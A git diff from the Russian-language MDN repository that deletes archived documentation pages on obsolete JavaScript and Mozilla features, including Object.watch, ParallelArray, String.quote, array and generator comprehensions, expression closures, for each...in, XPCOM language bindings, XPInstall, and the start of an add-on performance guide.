- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
-

Примечание: вызов unwatch() на объекте {{domxref("Document")}}, начиная с Firefox 23, выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} ({{bug(903332)}}). Эта регрессия была поправлена в Firefox 27.

-
-

Смотрите также

- diff --git a/files/ru/web/javascript/reference/global_objects/object/watch/index.html b/files/ru/web/javascript/reference/global_objects/object/watch/index.html deleted file mode 100644 index 8f4a3d5b99..0000000000 --- a/files/ru/web/javascript/reference/global_objects/object/watch/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Object.prototype.watch() -slug: Web/JavaScript/Reference/Global_Objects/Object/watch -tags: - - JavaScript - - Method - - Non-standard - - Object - - Prototype -translation_of: Archive/Web/JavaScript/Object.watch ---- -
- {{JSRef("Global_Objects", "Object")}}
-
-

Предупреждение: обычно, при возможности, вам следует избегать использования watch() и {{jsxref("Object.prototype.unwatch", "unwatch()")}}. Эти два метода реализованы только в Gecko, и они, в основном, предназначены только для отладочных целей. Кроме того, использование точек наблюдения серьёзно бъёт по производительности, что особенно заметно при использовании их на глобальных объектах, например window. Обычно вместо них вы можете использовать сеттеры и геттеры или прокси. Для более подробной информации смотрите раздел {{anch("Browser_compatibility", "Совместимость с браузерами")}}. Также, не путайте {{jsxref("Object.prototype.watch", "Object.watch")}} с {{jsxref("Object.prototype.observe", "Object.observe")}}.

-
-

Сводка

-

Метод watch() следит за присваиванием свойству значений и запускает указанную функцию, когда это происходит.

-

Синтаксис

-
obj.watch(prop, handler)
-

Параметры

-
-
- prop
-
- Имя свойства объекта, чьи изменения вы хотите отслеживать.
-
- handler
-
- Функция, вызывающаяся при изменении значения указанного свойства.
-
-

Описание

-

Следит за присваиваниями свойству prop в этом объекте, вызывая функцию handler(prop, oldval, newval) всякий раз, когда свойство prop устанавливается и сохраняет возвращённое значение в этом свойстве. Точка наблюдения может отфильтровывать (или отменять) присваивание значения, возвращая изменённое новое значение newval (или старое значение oldval).

-

Если вы удалите свойство, для которого была установлена точка наблюдения, эта точка наблюдения не будет отключена. Если вы позже вновь создадите это свойство, точка наблюдения продолжит работать.

-

Для удаления точки наблюдения используйте метод {{jsxref("Object.unwatch", "unwatch()")}}. По умолчанию, метод watch наследуется каждым объектом, произошедшим от {{jsxref("Global_Objects/Object", "Object")}}.

-

Отладчик JavaScript имеет функциональность, аналогичную предоставляемой этим методом, а также и другие возможности отладки. Информацию по отладчику можно получить в статье про Venkman.

-

В Firefox, функция handler вызывает только при присваивании из скрипта, не из встроенного кода. Например, window.watch('location', myHandler) не вызовет myHandler, если пользователь щёлкнет по ссылке с якорем в текущем документе. Однако, выражение window.location += '#myAnchor' вызовет myHandler.

-
-

Примечание: вызов watch() на объекте для определённого свойства перезапишет любые ранее назначенные на него обработчики.

-
-

Примеры

-

Пример: использование watch и unwatch

-
var o = { p: 1 };
-
-o.watch('p', function (id, oldval, newval) {
-  console.log('o.' + id + ' изменено с ' + oldval + ' на ' + newval);
-  return newval;
-});
-
-o.p = 2;
-o.p = 3;
-delete o.p;
-o.p = 4;
-
-o.unwatch('p');
-o.p = 5;
-
-

Этот скрипт выведет следующее:

-
o.p изменено с 1 на 2
-o.p изменено с 2 на 3
-o.p изменено с undefined на 4
-
-

Пример: использование watch для проверки свойств объекта

-

Вы можете использовать watch для проверки присваивания к любым свойствам объекта. Этот пример гарантирует, что каждый человек имеет допустимое имя и возраст между 0 и 200.

-
Person = function(name, age) {
-  this.watch('age', Person.prototype._isValidAssignment);
-  this.watch('name', Person.prototype._isValidAssignment);
-  this.name = name;
-  this.age = age;
-};
-
-Person.prototype.toString = function() {
-  return this.name + ', ' + this.age;
-};
-
-Person.prototype._isValidAssignment = function(id, oldval, newval) {
-  if (id === 'name' && (!newval || newval.length > 30)) {
-    throw new RangeError('недопустимое имя для ' + this);
-  }
-  if (id === 'age'  && (newval < 0 || newval > 200)) {
-    throw new RangeError('недопустимый возраст для ' + this);
-  }
-  return newval;
-}
-
-will = new Person('Уилл', 29);
-print(will);   // Уилл, 29
-
-try {
-  will.name = '';
-} catch (e) {
-  print(e);
-}
-
-try {
-  will.age = -4;
-} catch (e) {
-  print(e);
-}
-
-

Этот скрипт выведет следующее:

-
Уилл, 29
-RangeError: недопустимое имя для Уилл, 29
-RangeError: недопустимый возраст для Уилл, 29
-
-

Спецификации

-

Не является частью какой-либо спецификации. Реализована в JavaScript 1.2.

-

Совместимость с браузерами

- -
- {{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
-

Примечание: вызов watch() на объекте {{domxref("Document")}}, начиная с Firefox 23, выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} ({{bug(903332)}}). Эта регрессия была поправлена в Firefox 27.

-
-

Смотрите также

- diff --git a/files/ru/web/javascript/reference/global_objects/parallelarray/index.html b/files/ru/web/javascript/reference/global_objects/parallelarray/index.html deleted file mode 100644 index ca96e4c0fa..0000000000 --- a/files/ru/web/javascript/reference/global_objects/parallelarray/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: ParallelArray -slug: Web/JavaScript/Reference/Global_Objects/ParallelArray -translation_of: Archive/Web/ParallelArray ---- -

{{jsSidebar("Objects")}} {{ obsolete_header() }}

-
-

Note: This object was implemented in Firefox 17 and has been removed from {{ Gecko(29) }} in favor of ParallelJS (PJS) currently available in the Nightly channel ({{ bug(944074) }}).

-
-

Сводка

-

Целью ParallelArray является распараллеливание данных в веб-приложениях. Все функции, которые доступны на простом массиве могут исполняться параллельно на ParallelArray, при необходимости можно вернуться к последовательному исполнению. Чтобы убедиться что ваш код исполняется параллельно, it is suggested that the functions should be limited to the parallelizable subset of JS that Firefox supports.

-

Синтаксис

-
new ParallelArray()
-new ParallelArray([element0, element1, ...])
-new ParallelArray(arrayLength, elementalFunction)
-

Экземпляры ParallelArray

-

Свойства

-
-
- length
-
- Возвращает количество элементов в ParallelArray.
-
-

Методы

-
-
- map
-
- reduce
-
- scan
-
- scatter
-
- filter
-
- flatten
-
- partition
-
- get
-
-

Примеры

-

Пример: Использование метода map параллельно

-
var p = new ParallelArray([0, 1, 2, 3, 4]);
-var m = p.map(function (v) {
-  return v + 1;
-});
-

Смотрите также

- diff --git a/files/ru/web/javascript/reference/global_objects/string/quote/index.html b/files/ru/web/javascript/reference/global_objects/string/quote/index.html deleted file mode 100644 index 367f9f6eb7..0000000000 --- a/files/ru/web/javascript/reference/global_objects/string/quote/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: String.prototype.quote() -slug: Web/JavaScript/Reference/Global_Objects/String/quote -tags: - - JavaScript - - Method - - Obsolete - - Prototype - - Reference - - Référence(2) - - String -translation_of: Archive/Web/JavaScript/String.quote ---- -
{{obsolete_header("37")}}
- -
{{JSRef("Global_Objects", "String")}} {{non-standard_header}}
- -

Сводка

- -

Нестандартный метод quote() возвращает копию строки, заменяя различные специальные символы в строке их управляющими последовательностями и заключая результат в двойные кавычки (").

- -

Синтаксис

- -
str.quote()
- -

Примеры

- -

В таблице ниже метод quote() заменяет любые специальные символы и заключает строку в двойные кавычки. Также обратите внимание на третью колонку, в которой функция {{jsxref("Global_Objects/eval", "eval()")}} снова вычисляет управляющие последовательности.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
strstr.quote()eval(str.quote())
Hello world!"Hello world!"Hello world!
Hello
- world!
"Hello\n\tworld!"Hello
- world!
" \ — '"\" \\ \u2014 '"" \ — '
Привет, мир!"\u041F\u0440\u0438\u0432\u0435\u0442, \u043C\u0438\u0440!"Привет, мир!
- -

Спецификации

- -

Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.

- -

Совместимость с браузерами

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Смотрите также

- - diff --git a/files/ru/web/javascript/reference/operators/array_comprehensions/index.html b/files/ru/web/javascript/reference/operators/array_comprehensions/index.html deleted file mode 100644 index c2bed1585e..0000000000 --- a/files/ru/web/javascript/reference/operators/array_comprehensions/index.html +++ /dev/null @@ -1,241 +0,0 @@ ---- -title: Упрощенный синтаксис создания массивов -slug: Web/JavaScript/Reference/Operators/Array_comprehensions -translation_of: Archive/Web/JavaScript/Array_comprehensions ---- -
Non-standard. Do not use!
-Сокращенный синтаксис создания массивов не стандартен. В будущем используйте {{jsxref("Array.prototype.map")}}, {{jsxref("Array.prototype.filter")}}, {{jsxref("Functions/Arrow_functions", "Стрелочные функции", "", 1)}} и {{jsxref("Operators/Spread_operator", "spread syntax", "", 1)}}.
- -
{{jsSidebar("Operators")}}
- -

Синтаксис array comprehension - это JavaScript-выражение, которое позволяет быстро создавать новый массив из существующего. Аналогичные сокращения существуют во многих других языках программирования.

- -

Ниже показаны различия со старым синтаксисом Array Comprehension в SpiderMonkey, основанном на черновиках для ECMAScript 4.

- -

Синтаксис

- -
[for (x of итерируемый_объект) x]
-[for (x of итерируемый_объект) if (условие) x]
-[for (x of итерируемый_объект) for (y of итерируемый_объект) x + y]
-
- -

Описание

- -

Внутри сокращения допустимо использование двух видов компонентов:

- - - -

Итерация for-of всегда является первым компонентом. Допустимо использование нескольких for-of итераций или условных операторов if.

- -

Сокращённый синтаксис создания массивов был предложен к стандартизации в ECMAScript 2016, он предоставлял удобный сокращения для создания новых массивов из других массивов. Сокращения могут быть использованы вместо вызовов {{jsxref("Array.prototype.map", "map()")}} и {{jsxref("Array.prototype.filter", "filter()")}} или их комбинаций.

- -

Следующий пример показывает, как из массива чисел создаётся новый массив чисел с с удвоенным значением.

- -
var numbers = [1, 2, 3, 4];
-var doubled = [for (i of numbers) i * 2];
-console.log(doubled); // logs 2,4,6,8
- -

Это эквивалентно следующей операции с {{jsxref("Array.prototype.map", "map()")}}:

- -
var doubled = numbers.map(i => i * 2);
- -

Сокращённый синтаксис может быть использован также для выбора элементов по определённому условию. Вывод четных чисел:

- -
var numbers = [1, 2, 3, 21, 22, 30];
-var evens = [for (i of numbers) if (i % 2 === 0) i];
-console.log(evens); // logs 2,22,30
- -

{{jsxref("Array.prototype.filter", "filter()")}} может использоваться для той же цели:

- -
var evens = numbers.filter(i => i % 2 === 0);
- -

Стили операторов {{jsxref("Array.prototype.map", "map()")}} и {{jsxref("Array.prototype.filter", "filter()")}} можно одновременно использовать в одном сокращённом выражении. Далее фильтруются только четные числа, а затем создаётся массив с их удвоенным значением:

- -
var numbers = [1, 2, 3, 21, 22, 30];
-var doubledEvens = [for (i of numbers) if (i % 2 === 0) i * 2];
-console.log(doubledEvens); // logs 4,44,60
- -

Квадратные скобки обозначают неявный блок. Новый переменные (такие как  "i" в примере выше) трактуются, как если бы они объявлялись с использованием {{jsxref("Statements/let","let")}}. Это значит, что эти переменные недоступны извне.

- -

Входными данными необязательно может быть массив; также можно использовать итераторы и генераторы.

- -

Даже строки могут подаваться на вход; можно делать то же, что с filter и map (но с массивоподобными объектами):

- -
var str = 'abcdef';
-var consonantsOnlyStr = [for (c of str) if (!(/[aeiouAEIOU]/).test(c)) c].join(''); // 'bcdf'
-var interpolatedZeros = [for (c of str) c + '0' ].join(''); // 'a0b0c0d0e0f0'
- -

Для предупреждения конвертации в число (в данном конкретном примере) использвалась функция {{jsxref("Array.prototype.join", "join()")}}.

- -

Примеры

- -

Простые сокращения

- -
[for (i of [ 1, 2, 3 ]) i*i ];
-// [ 1, 4, 9 ]
-
-var abc = [ "A", "B", "C" ];
-[for (letters of abc) letters.toLowerCase()];
-// [ "a", "b", "c" ]
- -

Сокращения с условным оператором "if"

- -
var years = [ 1954, 1974, 1990, 2006, 2010, 2014 ];
-[for (year of years) if (year > 2000) year];
-// [ 2006, 2010, 2014 ]
-[for (year of years) if (year > 2000) if(year < 2010) year];
-// [ 2006], the same as below:
-[for (year of years) if (year > 2000 && year < 2010) year];
-// [ 2006]
-
- -

Сокращения в сравнении с map и filter

- -

Простой способ понять синтаксис Array Comprehension - это сравнить его с методами Array {{jsxref("Array.map", "map")}} и {{jsxref("Array.filter", "filter")}}:

- -
var numbers = [ 1, 2, 3 ];
-
-numbers.map(function (i) { return i * i });
-numbers.map(i => i*i);
-[for (i of numbers) i*i ];
-// all are [ 1, 4, 9 ]
-
-numbers.filter(function (i) { return i < 3 });
-numbers.filter(i => i < 3);
-[for (i of numbers) if (i < 3) i];
-// all are [ 1, 2 ]
-
- -

Сокращения с двумя массивами

- -

Использование двух итераторов for-of для работы с двумя массивами:

- -
var numbers = [ 1, 2, 3 ];
-var letters = [ "a", "b", "c" ];
-
-var cross = [for (i of numbers) for (j of letters) i+j];
-// [ "1a", "1b", "1c", "2a", "2b", "2c", "3a", "3b", "3c" ]
-
-var grid = [for (i of numbers) [for (j of letters) i+j]];
-// [
-//  ["1a", "1b", "1c"],
-//  ["2a", "2b", "2c"],
-//  ["3a", "3b", "3c"]
-// ]
-
-[for (i of numbers) if (i > 1) for (j of letters) if(j > "a") i+j]
-// ["2b", "2c", "3b", "3c"], the same as below:
-
-[for (i of numbers) for (j of letters) if (i > 1) if(j > "a") i+j]
-// ["2b", "2c", "3b", "3c"]
-
-[for (i of numbers) if (i > 1) [for (j of letters) if(j > "a") i+j]]
-// [["2b", "2c"], ["3b", "3c"]], not the same as below:
-
-[for (i of numbers) [for (j of letters) if (i > 1) if(j > "a") i+j]]
-// [[], ["2b", "2c"], ["3b", "3c"]]
-
- -

Спецификации

- -

Изначально было в черновике ECMAScript 2015, но исключено в ревизии 27 (Август 2014). Смотрите старые ревизии ES2015 для уточнения семантики.

- -

Совместимость с браузерами

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{ CompatGeckoDesktop("30") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("30") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Специфика работы SpiderMonkey

- - - -

Отличия от старой версии JS1.7/JS1.8

- -
Сокращения из JS1.7/JS1.8 были исключены из движка Gecko, начиная с версии 46 ({{bug(1220564)}}).
- -

Старый синтаксис (не используйте его больше!):

- -
[X for (Y in Z)]
-[X for each (Y in Z)]
-[X for (Y of Z)]
- -

Различия:

- - - -

Смотрите Bug 1220564, comment 42 для внесения предложений по коду.

- -

Смотрите также

- - diff --git a/files/ru/web/javascript/reference/operators/expression_closures/index.html b/files/ru/web/javascript/reference/operators/expression_closures/index.html deleted file mode 100644 index 9c8f613699..0000000000 --- a/files/ru/web/javascript/reference/operators/expression_closures/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Expression closures -slug: Web/JavaScript/Reference/Operators/Expression_closures -tags: - - Нестандартная - - Функции -translation_of: Archive/Web/JavaScript/Expression_closures ---- -
Не является стандартом. Не используйте данный синтаксис!
-Синтаксис замкнутого выражения является устаревшей возможностью SpiderMonkey и будет удален. Используйте вместо него стрелочные функции.
- -
{{jsSidebar("Operators")}}
- -

Замкнутые выражения – это синтаксис для удобной записи коротких и простых функций.

- -

Синтаксис

- -
function [name]([param1[, param2[, ..., paramN]]])
-   expression
-
- -

Параметры

- -
-
name
-
Имя функции. Может быть пропущено, в таком случае функция будет являться анонимной. Имя функции доступно только в теле функции.
-
paramN
-
Имя аргумента, передаваемого функции. Всего может быть передано вплоть до 255 аргументов.
-
expression
-
Выражение, содержащее тело функции.
-
- -

Описание

- -

Этот функционал – ничто иное как короткая нотация для записи простых функций. Он призван добавить в язык нечто похожее на Лямбда-исчисления.

- -

JavaScript 1.7 и старше:

- -
function(x) { return x * x; }
- -

JavaScript 1.8:

- -
function(x) x * x
- -

Такой синтаксис позволяет отбросить фигурные скобки и оператор return. Данный подход, кроме краткости записи, иных преимуществ не имеет.

- -

Примеры использования

- -

Короткая запись для привязки слушателей событий:

- -
 document.addEventListener("click", function() false, true);
-
- -

Использование такой записи для работы с функциями массивов из JavaScript 1.6:

- -
elems.some(function(elem) elem.type == "text");
-
- -

Таблица совместимости

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

 

- -

Смотрите также

- - diff --git a/files/ru/web/javascript/reference/operators/generator_comprehensions/index.html b/files/ru/web/javascript/reference/operators/generator_comprehensions/index.html deleted file mode 100644 index fb04526d8a..0000000000 --- a/files/ru/web/javascript/reference/operators/generator_comprehensions/index.html +++ /dev/null @@ -1,229 +0,0 @@ ---- -title: Упрощенный синтаксис создания функций-генераторов -slug: Web/JavaScript/Reference/Operators/Generator_comprehensions -tags: - - Итераторы -translation_of: Archive/Web/JavaScript/Generator_comprehensions ---- -
Не в стандарте. Не используйте!
-Включения генераторов - нестандартная возможность, и вряд ли когда-либо появится в ECMAScript. В будущем попробуйте использовать {{jsxref("Statements/function*", "generator", "", 1)}}.
- -
{{jsSidebar("Operators")}}
- -
Синтаксис включений генераторов - это выражение, которое позволяет быстро создать новую функцию-генератор из существующего итератора. Включения присутствуют во множестве языков программирования.
- -
 
- -
Ниже показаны отличия от старого синтаксиса генераторных выражений в SpiderMonkey, основанных на предложениях к стандарту ECMAScript 4.
- -
 
- -

Синтаксис

- -
(for (x of iterable) x)
-(for (x of iterable) if (condition) x)
-(for (x of iterable) for (y of iterable) x + y)
-
- -

Описание

- -

Внутри включений генераторов допустимы два типа компонентов:

- - - -

Конструкция for-of всегда идёт первой. Таких конструкций может быть несколько.

- -

Существенный недостаток {{jsxref("Operators/Array_comprehensions","включений массивов","","true")}} - это то, что они создают полносью новый массив в памяти. Даже когда исходный массив небольшой, накладные расходы получаются весьма заметными, а уж когда входные данные - это большой массив или дорогой (или бесконечный) генератор, создание нового массива может быть трудной задачей.

- -

Генераторы позволяют выполнять ленивые вычисления последовательностей, то есть рассчитывать данные только тогда, когда они нужны. Синтаксисы включений генераторов и включений массивов практически аналогичны — первые используют () вместо [] — но вместо массива они создают генератор, который может выполняться лениво. Включения генераторов можно считать просто более кратким способом создания генераторов.

- -

Предположим, у нас есть итератор it, который итерирует по длинной последовательности чисел. Мы хотим создать новый итератор, который будет итерировать по тем же числам, умноженным на два. Включение массивов создало бы в памяти новый массив с умноженными числами:

- -
var doubles = [for (i in it) i * 2];
-
- -

А включение генераторов создало бы новый итератор, который высчитывал бы  следующее умноженное значение, когда оно нужно:

- -
var it2 = (for (i in it) i * 2);
-console.log(it2.next()); // Первое значение из it, умноженное на два
-console.log(it2.next()); // Второе значение из it, умноженное на два
-
- -

Когда включение генераторов передаётся как аргумент функции, можно обойтись без скобок вокруг включения:

- -
var result = doSomething(for (i in it) i * 2);
-
- -

Эти два примера отличаются тем, что используя включения генераторов, нам нужно пройтись по структуре объекта только однажды, а используя включения массивов - дважды: сначала при создании включения, затем, при самой итерации.

- -

Примеры

- -

Простое включение генераторов

- -
(for (i of [ 1, 2, 3 ]) i*i );
-// Функция-генератор, которая отдаёт 1, 4, 9 и так далее
-
-[...(for (i of [ 1, 2, 3 ]) i*i )];
-// [1, 4, 9]
-
-var abc = [ "A", "B", "C" ];
-(for (letters of abc) letters.toLowerCase());
-// Функция-генератор, которая отдаёт 'a', 'b' и 'c'
-
- -

Включение генераторов с условием

- -
var years = [ 1954, 1974, 1990, 2006, 2010, 2014 ];
-
-(for (year of years) if (year > 2000) year);
-// функция-генератор, которая отдаёт 2006, 2010 и 2014
-
-(for (year of years) if (year > 2000) if(year < 2010) year);
-// функция-генератор, которая отдаёт 2006, как и функция ниже:
-
-(for (year of years) if (year > 2000 && year < 2010) year);
-// функция-генератор, которая отдаёт 2006
-
- -

Включение генератора в сравнении с функцией-генератором

- -

Будет проще понять синтаксис включений генераторов, если сравнить его с функцией-генератором.

- -

Пример 1: Простой генератор.

- -
var numbers = [ 1, 2, 3 ];
-
-// Функция-генератор
-(function*() {
-  for (let i of numbers) {
-    yield i * i;
-  }
-})()
-
-// Включение генератора
-(for (i of numbers) i*i );
-
-// Результат: в обоих случаях получается генератор, который отдаёт [ 1, 4, 9 ]
-
- -

Пример 2: Использование if в генераторе.

- -
var numbers = [ 1, 2, 3 ];
-
-// Функция-генератор
-(function*() {
-  for (let i of numbers) {
-    if (i < 3) {
-      yield i * 1;
-    }
-  }
-})()
-
-// Включение генератора
-(for (i of numbers) if (i < 3) i);
-
-// Результат: в обоих случаях получается генератор, который отдаёт [ 1, 2 ]
- -

Спецификации

- -

Включения генераторов изначально входили в черновик ECMAScript 6, но их убрали в ревизии 27 (August 2014). Please see older revisions of ES6 for specification semantics.

- -

Поддержка браузерами

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Начальная поддержка{{CompatNo}}{{ CompatGeckoDesktop("30") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Начальная поддержка{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("30") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Особенности реализации в SpiderMonkey

- - - -

Отличия от старых JS1.7/JS1.8 включений

- -
JS1.7/JS1.8 включения убраны из Gecko 46 ({{bug(1220564)}}).
- -

Старый синтаксис включений (не используйте!):

- -
(X for (Y in Z))
-(X for each (Y in Z))
-(X for (Y of Z))
-
- -

Отличия:

- - - -

См. также

- - diff --git a/files/ru/web/javascript/reference/statements/for_each...in/index.html b/files/ru/web/javascript/reference/statements/for_each...in/index.html deleted file mode 100644 index c609f436c0..0000000000 --- a/files/ru/web/javascript/reference/statements/for_each...in/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: for each...in -slug: Web/JavaScript/Reference/Statements/for_each...in -translation_of: Archive/Web/JavaScript/for_each...in ---- -
{{jsSidebar("Statements")}}
- -
-

Конструкция for each...in заявлена как "deprecated", как часть стандарта ECMA-357 (E4X). Поддержка E4X была удалена. Вместо for each...in рассмотрите использование for...of. (Пожалуйста обратите внимание: {{ bug("791343")}}.)
-
- Firefox теперь предупреждает об использовании for each...in и for each...in удаляется из ночных сборок. Пожалуйста, посмотрите Warning: JavaScript 1.6's for-each-in loops are deprecated для помощи в миграции.

-
- -

Выражение for each...in выполняет перебор свойств указанного объекта. Для каждого свойства выполняется указанный оператор.

- -

Синтаксис

- -
for each (variable in object) {
-  statement
-}
- -
-
variable
-
Variable to iterate over property values, optionally declared with the var keyword. This variable is local to the function, not to the loop.
-
- -
-
object
-
Object for which the properties are iterated.
-
- -
-
statement
-
A statement to execute for each property. To execute multiple statements within the loop, use a block statement ({ ... }) to group those statements.
-
- -

Description

- -

Some built-in properties are not iterated over. These include all built-in methods of objects, e.g. String's indexOf method. However, all user-defined properties are iterated over.

- -

Examples

- -

Using for each...in

- -

Warning: Never use a loop like this on arrays. Only use it on objects. See for...in for more details.

- -

The following snippet iterates over an object's properties, calculating their sum:

- -
var sum = 0;
-var obj = {prop1: 5, prop2: 13, prop3: 8};
-
-for each (var item in obj) {
-  sum += item;
-}
-
-console.log(sum); // logs "26", which is 5+13+8
- -

Specifications

- -

Not part of a current ECMA-262 specification. Implemented in JavaScript 1.6 and deprecated.

- -

Браузерная совместимость

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatGeckoDesktop("1.8")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("1.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Firefox specific note

- - - -

Смотрите также

- - diff --git a/files/ru/xpcom/language_bindings/index.html b/files/ru/xpcom/language_bindings/index.html deleted file mode 100644 index c32b690313..0000000000 --- a/files/ru/xpcom/language_bindings/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Языковые Связки -slug: XPCOM/Language_Bindings -tags: - - Java - - JavaScript - - Language_Bindings - - Perl - - Python - - Ruby - - XPCOM - - 'XPCOM:Language Bindings' -translation_of: Mozilla/Tech/XPCOM/Language_Bindings ---- -

XPCOM Язык Связка является мостом между определенным языком и XPCOM для достижение следующих двух целей: 

- -


- Поскольку XPCOM слой написан на C/C++, его API могут быть доступны в родном режиме используя C или C++. Для всех остальных языков для получения возможности доступа к XPCOM API, необходима дополнительная связка слоев. 
-
- Существуют следующие связки слоев для языков: 

- -

Пожалуйста руководствуйтесь страницами соответствующих связок если Вы нуждаетесь в информации о том как этим пользоваться.

diff --git a/files/ru/xpinstall/index.html b/files/ru/xpinstall/index.html deleted file mode 100644 index 6aafe0a7a4..0000000000 --- a/files/ru/xpinstall/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: XPInstall -slug: XPInstall -tags: - - XPInstall - - XPInstall_API_reference -translation_of: Archive/Mozilla/XPInstall ---- -
- Часть этой страницы описывает использование XPInstall API. Большинство из этих API в настоящее время устарели и по состоянию на Gecko 1.9 больше не доступны. Расширения, темы, и плагины разработчики должны перейти от пакетов основанных на install.js к новым пакетным схемам с install.rdf манифест. В частности разработчик плагина должен посмотреть как упаковать плагин как расширение
-
- Кросс-платформенная установка (XPInstall) это технология используемая Mozilla Application Suite, Mozilla Firefox, Mozilla Thunderbird и другими приложениями на базе XUL для установки расширений. XPI (произносится "зиппи" и происходит от XPInstall) модуль установщика это ZIP файл который содержит инсталляционый скрипт или манифест (названный install.js или install.rdf) в корне зип файла.
- - - - - - - -
-

Документация

-
-
- руководство по XPInstall API
-
-
-
- Обучение XPI Installer Scripting на примере
-
- Эта статья использует installer script из browser.xpi инсталляционного пакета как базу для обсуждения XPI установки в общих четрах.
-
-
-
- Создание XPI Installer Modules
-
- Эта статья описывает схему упаковки Mozilla и предлагает учебное пособие по созданию нового пакета который может быть перераспределен, установлен, и cсделать доступеным для пользователей.
-
-
-
- Мастера установки (aka: Stub Installers)
-
-

смотреть всё...

-
-

Сообщество

-
    -
  • Смотри Mozilla форумы...
  • -
-

{{ DiscussionList("dev-platform", "mozilla.dev.platform") }}

-

Инструменты

- - -
-
- Extensions, XUL, XPI
-
-
-

Categories

-

Interwiki Language Links

diff --git a/files/ru/xul_school/appendix_a_colon__add-on_performance/index.html b/files/ru/xul_school/appendix_a_colon__add-on_performance/index.html deleted file mode 100644 index 1364929357..0000000000 --- a/files/ru/xul_school/appendix_a_colon__add-on_performance/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 'Приложение A: Производительность дополнений' -slug: 'XUL_School/Appendix_A:_Add-on_Performance' -tags: - - Дополнения - - Производительность - - Расширения -translation_of: 'Archive/Add-ons/Overlay_Extensions/XUL_School/Appendix_A:_Add-on_Performance' ---- -
- Внимание: Смотрите новую статью Performance best practices in extensions для получения более свежей информации по оптимизации производительности ваших дополнений.
-

Add-ons can have a noticeable performance impact on Firefox. This is evident when opening a Firefox profile that has many add-ons installed; some profiles can take minutes to load, which is a serious inconvenience for users that gives them a negative view of Firefox. Add-on developers need to make sure that they minimize their add-ons' performance impact, and here are a few simple guidelines that should be followed to achieve that.

-

Запуск

-

This is the area where add-ons have the most noticeable impact. Most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data. The problem with the onload event is that it runs before the main window becomes visible, so all handlers need to complete before the user can see the window. An add-on can normally add a few hundred milliseconds to startup time because of the load handler, and it's not hard to figure out what having several add-ons will do.

-

Luckily, minimizing your startup time is easy, if you follow these guidelines:

-
    -
  1. Do not load or run code before it’s needed. Add-ons can have extra features that are only available depending on user preferences. Other add-ons have most of their features depend on a user being logged in to a service. Don’t load at startup something you won’t need at the time.
  2. -
